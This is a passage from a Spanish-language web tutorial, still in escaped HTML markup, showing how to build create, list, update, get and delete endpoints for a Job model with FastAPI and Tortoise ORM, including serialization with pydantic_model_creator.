style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-un-objeto-con-tortoise&#34;&gt;Crear un objeto con tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Para crear un objeto podemos optar por &lt;strong&gt;llamar al método &lt;em&gt;create()&lt;/em&gt; del modelo, dentro de una función decorada con el método &lt;em&gt;post()&lt;/em&gt;&lt;/strong&gt; de nuestra instancia, o también crear una instancia y posteriormente llamar a su método &lt;em&gt;save()&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.contrib.fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HTTPNotFoundError, register_tortoise&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/create/&amp;#34;&lt;/span&gt;, status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_job&lt;/span&gt;(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;), description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    job &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;name, description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;description)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora hacemos una petición web usando la interfaz de documentación que crea fastAPI, en &lt;em&gt;/docs/&lt;/em&gt;, veremos que seremos capaces de crear un objeto Job usando un nombre y una descripción.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/CreacionDeUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/CreacionDeUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Creación de un objeto usando fastAPI y tortoise ORM&#34; width=&#34;1442&#34; height=&#34;988&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;serializar-objetos-con-pydantic-y-tortoise&#34;&gt;Serializar objetos con pydantic y tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Hemos creado el objeto, pero, ¿y si queremos devolver el objeto después de crearlo? Dado que es una instancia de un modelo, no podemos devolverlo nada más así. Necesitamos un tipo de datos apto para una respuesta HTTP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pydantic nos permite serializar objetos de la base de datos para poder devolverlos como respuesta JSON&lt;/strong&gt; o lo que querramos.&lt;/p&gt;&#xA;&lt;p&gt;Hay que importar la función &lt;em&gt;pydantic_model_creator&lt;/em&gt; y pasarle como parámetro nuestro modelo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Job&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.contrib.fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HTTPNotFoundError, register_tortoise&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.contrib.pydantic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pydantic_model_creator&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;job_pydantic &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pydantic_model_creator(Job)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/create/&amp;#34;&lt;/span&gt;, status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_job&lt;/span&gt;(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;), description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    job &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;name, description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;description)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_tortoise_orm(job)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;register_tortoise(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    app,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    db_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sqlite://db.sqlite3&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modules&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;models&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.models&amp;#34;&lt;/span&gt;]},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    add_exception_handlers&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y para obtener nuestro objeto en JSON llamamos al método al método &lt;em&gt;from_tortoise_orm()&lt;/em&gt; del objeto que acabamos de crear.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda anteponer la palabra &lt;em&gt;await&lt;/em&gt; o lo que retornarás es una &lt;em&gt;corroutine&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;obtener-una-lista-objetos-de-un-queryset&#34;&gt;Obtener una lista objetos de un queryset&lt;/h2&gt;&#xA;&lt;p&gt;Usaremos el método &lt;strong&gt;get()&lt;/strong&gt; de nuestra instancia de fastAPI.&lt;/p&gt;&#xA;&lt;p&gt;Para obtener una lista de objetos usamos el método &lt;em&gt;all()&lt;/em&gt; y, serializamos el resultado con &lt;em&gt;from_queryset()&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/jobs/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_jobs&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_queryset(Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ListadoDeObjetosTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ListadoDeObjetosTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Obtenciónd e una lista de objetos usando fastAPI y tortoise ORM&#34; width=&#34;1484&#34; height=&#34;776&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;actualizar-un-objeto-con-tortoise&#34;&gt;Actualizar un objeto con tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Ahora &lt;strong&gt;creamos un endpoint que reciba un id y esté decorada con el método &lt;em&gt;put()&lt;/em&gt;&lt;/strong&gt;. Le pasamos como response_model el objeto job_pydantic, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://fastapi.tiangolo.com/tutorial/response-model/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;para que valide la entrada de los datos, los incluya en la documentación y limite la respuesta a los campos modificables&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Ademas vamos a crear un segundo objeto job_pydantic, es decir otro serializador, que excluya los campos de solo lectura (nuestra llave primaria), para devolverlos sin id.&lt;/p&gt;&#xA;&lt;p&gt;Y, para actualizar un objeto, usamos el método put de fastAPI y recibimos la id del objeto a editar. A continuación filtramos aquellos objetos que coinciden con la id con &lt;em&gt;Job.filter()&lt;/em&gt; y luego llamamos a su método &lt;em&gt;update()&lt;/em&gt;. Dado que el id es único, ya que es llave primaria, solo se editará el objeto cuya id corresponda con el dato que enviamos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;job_pydantic &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pydantic_model_creator(Job)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;job_pydantic_no_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pydantic_model_creator(Job, exclude_readonly&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.put&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{job_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;, response_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_pydantic, responses&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;model&amp;#34;&lt;/span&gt;: HTTPNotFoundError}})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update_job&lt;/span&gt;(job_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;, job: job_pydantic):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(&lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dict())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic_no_ids&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_queryset_single(Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ActualizacionDeUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ActualizacionDeUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Actualización de un objeto usando tortoise y fastAPI&#34; width=&#34;1513&#34; height=&#34;1001&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;obtener-un-objeto-con-tortoise&#34;&gt;Obtener un objeto con tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Ahora podemos aplicar el mismo método de la sección pasada. Esta vez &lt;strong&gt;necesitaremos un id y el método &lt;em&gt;get()&lt;/em&gt; de fastAPI&lt;/strong&gt;. Le pasamos el &lt;em&gt;response_model&lt;/em&gt; para que se encargue de la validación y definimos que el único parámetro que usaremos será la id, con la cual usaremos el método &lt;em&gt;from_queryset_single&lt;/em&gt;() sobre el resultado de la query del ORM: Job.ge_t(id=job_id)_.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{job_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;, response_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_pydantic, responses&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;model&amp;#34;&lt;/span&gt;: HTTPNotFoundError}})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_job&lt;/span&gt;(job_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; job_pydantic_no_ids&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;from_queryset_single(Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ObtenerUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/ObtenerUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Obtención de un objeto usando fastAPI y swagger&#34; width=&#34;1478&#34; height=&#34;771&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;eliminar-un-objeto-con-tortoise&#34;&gt;Eliminar un objeto con tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Para eliminar un objeto también &lt;strong&gt;vamos a necesitar un id y llamar al método &lt;em&gt;delete()&lt;/em&gt;&lt;/strong&gt; de fastAPI, por lo que la función quedaría de la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Status&lt;/span&gt;(BaseModel):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    message: &lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 